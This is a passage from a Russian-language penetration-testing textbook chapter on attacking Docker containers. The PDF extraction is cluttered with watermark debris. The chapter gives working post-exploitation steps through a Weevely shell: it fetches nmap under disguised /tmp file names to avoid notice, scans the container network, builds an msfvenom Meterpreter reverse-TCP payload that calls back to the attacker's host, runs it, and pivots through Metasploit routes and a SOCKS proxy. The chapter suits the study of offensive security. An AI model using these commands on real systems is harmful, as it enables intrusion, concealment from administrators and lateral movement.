Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 362  Глава 13.Взлом контейнеров

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

389a11bfe68b770366a669

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

10:hugetlb:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a1

1bfe68b770366a669

9:perf_event:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389 a11bfe68b770366a669

8:blkio:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bf

e68b770366a669

7:freezer:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11

bfe68b770366a669

6:devices:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11

bfe68b770366a669

5:memory:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11b

fe68b770366a669

4:cpuacct:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11

bfe68b770366a669

3:cpu:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe6

8b770366a669

2:cpuset:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11b

fe68b770366a669

В качестве еще одного способа подтвердить, что приложение выполняется внутри контейнера, можно взглянуть на список процессов.В типичных средах

Linuxидентификатор процесса(PID)1принадлежитinit,systemd илипохо-

жемудемону.Поскольку контейнеры–это минимальные среды,первым перечисленным процессом является демон,отвечающий за предоставление доступа к приложению. В случае с веб-приложениями двоичным файлам apache2, httpd, nginx или nodejs обычно назначается идентификатор 1.

weevely> ps 1

 

 

 

PID

TTY

STAT

TIME

COMMAND

1 ?

 

Ss

0:01

apache2 -DFOREGROUND

Осведомленность о ситуации

Теперь, когда у нас есть доступ к оболочке контейнера Docker, нужно посмот­ реть,чтоещеможнонайти.Какужеговорилось,контейнерыDockerнеявляют-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Осведомленность о ситуации  363 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

ся виртуальными машинами. Они содержат достаточно двоичных файлов для

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

работы приложения.

Поскольку у нас естьдоступ к оболочке контейнера,мы ограничены средой, которую он предоставляет. Например, если приложение не использует ifcon- fig, оно, скорее всего, не будет упаковано вместе с контейнером и поэтому будет недоступно для нас сейчас.

Мы можем подтвердить,что наша среда несколько ограничена, вызвав:

weevely> ifconfig

sh: 1: ifconfig: not found weevely> wget

sh: 1: wget: not found weevely> nmap

sh: 1: nmap: not found

Однако у нас есть доступ к команде curl, которую мы можем использовать вместо wget.

weevely> curl

curl: try 'curl --help' or 'curl --manual' for more information

В худшем случае мы также можем загрузить двоичные файлы с помощью команды Weevely :file_upload.

Чтобыперемещатьсяпоконтейнеруиегосети,намнужендоступкисполняемым файлам,таким как nmap иncat.К счастью,онидоступны в аккуратно организованном репозитории GitHub. На странице https://github.com/andrew-d/ static-binaries/ можно найти репозиторий static-binaries. Его автор – поль-

зователь с ником andrew-d (см. рис. 13.8).

Поскольку в контейнере нет двоичного файла nmap, его можно скачать с помощью команды curl и сделать его исполняемым с помощью команды chmod. Мы будем использовать /tmp/sess_[random] в качестве шаблона имени файла,чтобы попытаться подмешать его к файлам,создаваемым во время сессии, на случай если какой-нибудь администратор просматривает системную папку temp.

weevely > curl https://raw.githubusercontent.com/andrew-d/ static-binaries/master/binaries/linux/x86_64/nmap -o /tmp/sess_ IWxvbCBwaHAgc2Vzc2lvbnMu

% Total

% Received

% Xferd

Average Speed

Time

Time

Time

Current

 

 

 

 

 

 

 

 

 

 

 

 

Dload

Upload

Total

Spent

Left

Speed

 

 

 

 

 

 

 

 

100 5805k

100 5805k

0

0

669k

0

0:00:08

0:00:08

--:--:--

1465k

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 364  Глава 13.Взлом контейнеров

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

weevely > chmod +x /tmp/sess_IWxvbCBwaHAgc2Vzc2lvbnMu

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

weevely >

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.13.8. Нас интересует папка binaries /linux/x86_64

Мы также можем загрузить ifconfig с компьютера злоумышленника с помощью команды Weevely :file_upload,поскольку в контейнере этого исполняемого файла тоже нет.У нас есть локальная копия ifconfig, которая прекрасно будетработать.Мы загрузим ее в папку целевой системы /tmp под фиктивным именем.

weevely > :file_upload /sbin/ifconfig /tmp/sess_IWxvbCB3aGF0J3MgdXAgZG9j

Как и в случае с nmap, мы должны сделать файл исполняемым, используя команду chmod и параметр +x.

weevely > chmod +x /tmp/sess_IWxvbCB3aGF0J3MgdXAgZG9j

Теперь, когда у нас есть инструменты, мы можем сориентироваться, запус­ тив недавно загруженную команду ifconfig.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Осведомленность о ситуации 

w Click

to

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

 

weevely > /tmp/sess_IWxvbCB3aGF0J3MgdXAgZG9j

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.18.0.4 netmask 255.255.0.0 broadcast 0.0.0.0 ether 02:42:ac:12:00:04 txqueuelen 0 (Ethernet)

RX packets 413726 bytes 90828932 (86.6 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 342415 bytes 54527687 (52.0 MiB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

365 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

[...]

Напомним,что контейнер Docker используетсобственную внутреннюю сеть отдельно от сети хоста. Если не указано иное, по умолчанию соседние приложения, размещенные в других контейнерах, будут подключаться к одной сети. Вданном случае сеть172.18.0.0/16доступна через интерфейс eth0.Это обеспечит путь к другим приложениям,которые находятся в рамках нашего задания.

Теперь,когдамызнаем,начтосмотреть,мыможемвызватьдвоичныйфайл nmap (/tmp/sess_IWxvbCBwaHAgc2Vzc2lvbnMu) для быстрого служебного скани-

рования сети контейнера.

weevely > /tmp/sess_IWxvbCBwaHAgc2Vzc2lvbnMu -p1- 172.18.0.0/24 [...]

Nmap scan report for 172.18.0.1 Host is up (0.00079s latency). Not shown: 65534 closed ports PORT STATE SERVICE

22/tcp open ssh

8000/tcp open unknown

Nmap scan report for content_ssh_1.content_default (172.18.0.2) Host is up (0.00056s latency).

Not shown: 65534 closed ports PORT STATE SERVICE

22/tcp open ssh

8022/tcp open unknown

Nmap scan report for content_db_1.content_default (172.18.0.3) Host is up (0.00038s latency).

Not shown: 65535 closed ports PORT STATE SERVICE

3306/tcp open mysql

Nmap scan report for 8f4bca8ef241 (172.18.0.4)

Host is up (0.000090s latency).

Not shown: 65535 closed ports

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 366  Глава 13.Взлом контейнеров

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

PORT STATE SERVICE

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

80/tcp open http

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Nmap done: 256 IP addresses (4 hosts up) scanned in 8.97 seconds

IP-адрес 172.18.0.1, по-видимому, является хостом Docker, а SSH-служба защищена.

Служба MySQL на 172.18.0.3 также выглядит интересно, но эксплуатировать

еенетак просто.Вероятно,эту базуданных используетприложение WordPress. Мы могли бы вернуться назад, получить учетные данные из файла wp-con-

fig.php и попытаться сбросить данные, но можем быть ограничены в том, что можем сделать в системе с одним только доступом к SQL. Если наша цель – вырваться из контейнера и получить доступ к хосту, то, возможно, придется опробовать другой путь атаки. Не повредит сохранить эти учетные данные до концатеста.Можетпонадобиться взломать еще один набор учетных данных,а повторное использование пароля – распространенное явление.

Контейнер content_ssh_1 также выделяется, но, прежде чем мы сделаем что-нибудь еще, обновим нашу оболочку Weevely до более надежного сеанса Meterpreter. Meterpreter также имитирует функциональность множества исполняемых файлов Linux, которые могут быть недоступны, что делает нашу работу немного проще. Meterpreter – это скорее фрагмент вредоносной программы, которая позволит нам использовать хост Docker и его контейнеры в качестве точки поворота.

Поворот в данном случае – это техника, используемая для туннелирования трафика через уже скомпрометированный хост для достижения недоступной по-другому машины. Поскольку мы скомпрометировали контейнер, на котором размещается платформа блога, можем использовать его в качестве точки поворота для атаки на другие смежные контейнеры или даже на сам хост.

На компьютере злоумышленника в терминале Linux можем использовать MSFvenom для генерации простой реверсной нагрузки, которая будет подключаться обратно к нашей атакующей машине 192.168.1.193 на порту 443. MSFvenom – это приложение, предоставляемое MSF для создания переносимого вредоносного программного обеспечения с использованием любой из доступных полезных нагрузок. Традиционно после успешной эксплуатации системы с использованием одного из модулей Metasploit первый этап выполняется в целевой системе. Поскольку мы не использовали Metasploit для начального доступа к оболочке и хотим создать сеанс Meterpreter, можно сгенерировать­ автономную реверсную полезную нагрузку для ручного выполнения.

Команда msfvenom позволяетнам указатьжелаемую полезную нагрузку (-p),

в этом случае linux/x64/meterpreter/reverse_tcp; IP-адрес нашего атаку-

ющего компьютера, 192.168.1.193; порт, на котором вредоносная программа

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Осведомленность о ситуации  367 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

будет подключаться к нам, 443; и формат, в котором можно сохранить полу-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ченный исполняемый файл (-f). В данном случае будем использовать формат двоичных файлов ELF.

root@kali:~# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.193 LPORT=443 -f elf > /root/tools/nix64_rev443

No platform was selected, choosing Msf::Module::Platform::Linux from the payload

No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 96 bytes

Final size of elf file: 216 bytes

Это вредоносное программное обеспечение будет представлять собой 64-битную полезную нагрузку reverse_tcp, которая подключается к нашему внешнему IP-адресу. Порт 443 увеличит вероятность успеха, если хост Docker будет находиться за агрессивным межсетевым экраном.

Перед тем как запустить только что сгенерированного вредоноса /root/ tools/nix64_rev443,нужно настроитьобработчик в Metasploit,который будет обрабатывать входящее соединение от скомпрометированного хоста.

Вернувшись в консоль Metasploit, мы должны загрузить модуль exploit/ multi/handler и настроить его с теми же значениями, которые указали для

msfvenom.

msf > use exploit/multi/handler

Нам нужно установить переменную PAYLOAD в значение, соответствующее значению нашей вредоносной программы.

msf exploit(handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp

LHOST и LPORT также должны отражать настройки вредоносного программного обеспечения, чтобы убедиться, что оно прослушивает соответствующий IP-адрес и порт.

msf exploit(handler) > set LHOST 192.168.1.193 LHOST => 192.168.1.193

msf exploit(handler) > set LPORT 443 LPORT => 443

Наконец, можно запустить модуль обработчика, чтобы создать слушателя и дождаться входящих сессий Meterpreter.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 368  Глава 13.Взлом контейнеров

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

msf exploit(handler) > run

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

[*]Started reverse TCP handler on 192.168.1.193:443

[*]Starting the payload handler...

Кактолько сделали это,загружаем и выполняем реверсную оболочку nix64_ rev443 в контейнере.Для этого можно использовать Weevely.

В консоли Weevely можем снова использовать команду :file_upload.

weevely > :file_upload /root/tools/nix64_rev443 /tmp/update.lst True

Поскольку вредоносное программное обеспечение находится во временной папке контейнера-жертвы, мы должны сделать его исполняемым с помощью команды chmod и в конце просто вызвать его напрямую.

weevely > chmod +x /tmp/update.lst weevely > /tmp/update.lst

МодульобработчикаMetasploitдолженбылсоздатьновыйсеансMeterpreter. Мы можем подтвердить, что реверсная оболочка Meterpreter работает, введя команду sysinfo.

[*] Sending stage (2854264 bytes) to 192.168.1.230

[*] Meterpreter session 1 opened (192.168.1.193:443 -> 192.168.1.230:43558)

meterpreter > sysinfo

Computer

:

172.18.0.4

 

OS

:

Debian 8.9

(Linux 3.13.0-128-generic)

Architecture :

x64

 

Meterpreter

: x64/linux

 

meterpreter >

 

 

 

Как упоминалось ранее, поворот– это метод, который позволяет проксироватьтрафик через скомпрометированный хости атаковатьвнутреннюю сетьи то,что находится за ее пределами.

Metasploit обеспечивает функциональность маршрутизации, которую можно использовать для туннелирования TCP-трафика от нашего компьютера че-

рез сеанс Meterpreter.

Для этого нужно отправитьсеанс Meterpreter в фоновый режим.Соединение не будет разорвано, и мы сможем настроить сам Metasploit для правильной маршрутизации трафика через скомпрометированную систему.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

meterpreter > background

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

[*] Backgrounding session 1...

Осведомленность о ситуации 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

369 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Сеанс Meterpreter,терпеливо ожидающий в фоновом режиме,позволяетдобавить новый маршрут Metasploit, используя знакомую команду route add.

msf exploit(handler) > route add 172.18.0.0 255.255.0.0 1 [*] Route added

msf exploit(handler) > route

IPv4 Active Routing Table

=========================

Subnet

Netmask

Gateway

------

-------

-------

172.18.0.0255.255.0.0 Session 1

[*]There are currently no IPv6 routes defined. msf exploit(handler) >

Хотя эта команда похожа на то, что мы вводим в приглашение Linux, это не типичный сетевой маршрут. Он существует только внутри самого Metasploit. Еслимызапустимэксплойтизmsfconsole инацелимего,скажем,на172.18.0.1, трафик будет перенаправлен через сеанс Meterpreter и задача будет успешно выполнена. Однако за пределами Metasploit такой инструмент, как wpscan, не сможет найти цель.

Чтобы обойти это ограничение, можно настроить прокси-сервер SOCKS4, используя модуль auxiliary/server/socks4a. SOCKS – это протокол, который определяет стандартный способ маршрутизации сетевого трафика через прокси-сервер. Metasploit поддерживает работу сервера SOCKS (версия 4) и будет обрабатывать входящий трафик, как и любой прокси-сервер, с очень важным отличием. Прокси-сервер Metasploit, поскольку он находится в среде MSF, будет придерживаться таблицы маршрутизации MSF, которую мы недавно модифицировали. Любой трафик, который мы отправляем на него, будет обрабатываться в соответствии с маршрутами, определенными в нем. Это означает­ , что мы можем запросить, чтобы прокси перенаправил наш трафик на 172.168.0.0/16,и Metasploit будетдостаточно умным,чтобы отправлять этот трафик через сеанс Meterpreter в фоновом режиме.

Давайте сначала загрузим вспомогательный модуль auxiliary/server/ socks4a с помощью уже знакомой команды use внутри консоли Metasploit.

msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Глава 13.Взлом контейнеров

 

w Click

to

BUY 370 

 

 

 

 

 

 

 

m

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

 

Module options (auxiliary/server/socks4a):

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Name

Current Setting Required

Description

------------------- -------- -----------

SRVHOST

127.0.0.1

yes

The

address

to listen on

SRVPORT

1080

yes

The

port to

listen on.

Auxiliary action:

Name Description

---- -----------

Proxy

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Модуль создает сервер SOCKS4, прослушивающий порт 1080 по умолчанию. В действительности нам нужно прослушиватьтолько IP-адрес локального хос­ та, 127.0.0.1, поскольку мы единственные, кто использует этот прокси-сервер. После запуска модуля прокси-сервер отправляется в фоновый режим,готовый принимать входящие команды.

msf auxiliary(socks4a) > run

[*]Auxiliary module execution completed

[*]Starting the socks4a proxy server msf auxiliary(socks4a) >

Kali Linux поставляется в комплекте с утилитой ProxyChains, которую мы можем использовать, чтобы заставить любое приложение направлять свой трафик через определенный прокси-сервер. В нашем случае это сервер, который мы только что создали с помощью Metasploit. Это означает, что сетевой TCP-трафик, генерируемый приложениями, работающими на нашей атакующей машине, будет эффективно перенаправляться в сеть Docker, что позволит нам запускать локальные инструменты атаки и обращаться прямо в скомпрометированную сеть.

ProxyChains доступна на всех дистрибутивах для тестирования на проникновение: http://proxychains.sourceforge.net/.

Список прокси-серверов ProxyChains по умолчанию можно настроить в соответствии с конфигурацией модуля Metasploit socks4a с помощью файла

/etc/proxychains.conf.

После добавления маршрута Metasploit и запуска сервера socks4a можем устанавливать любые соединения через сеанс Meterpreter в сеть контейнеров со своего компьютера с Kali.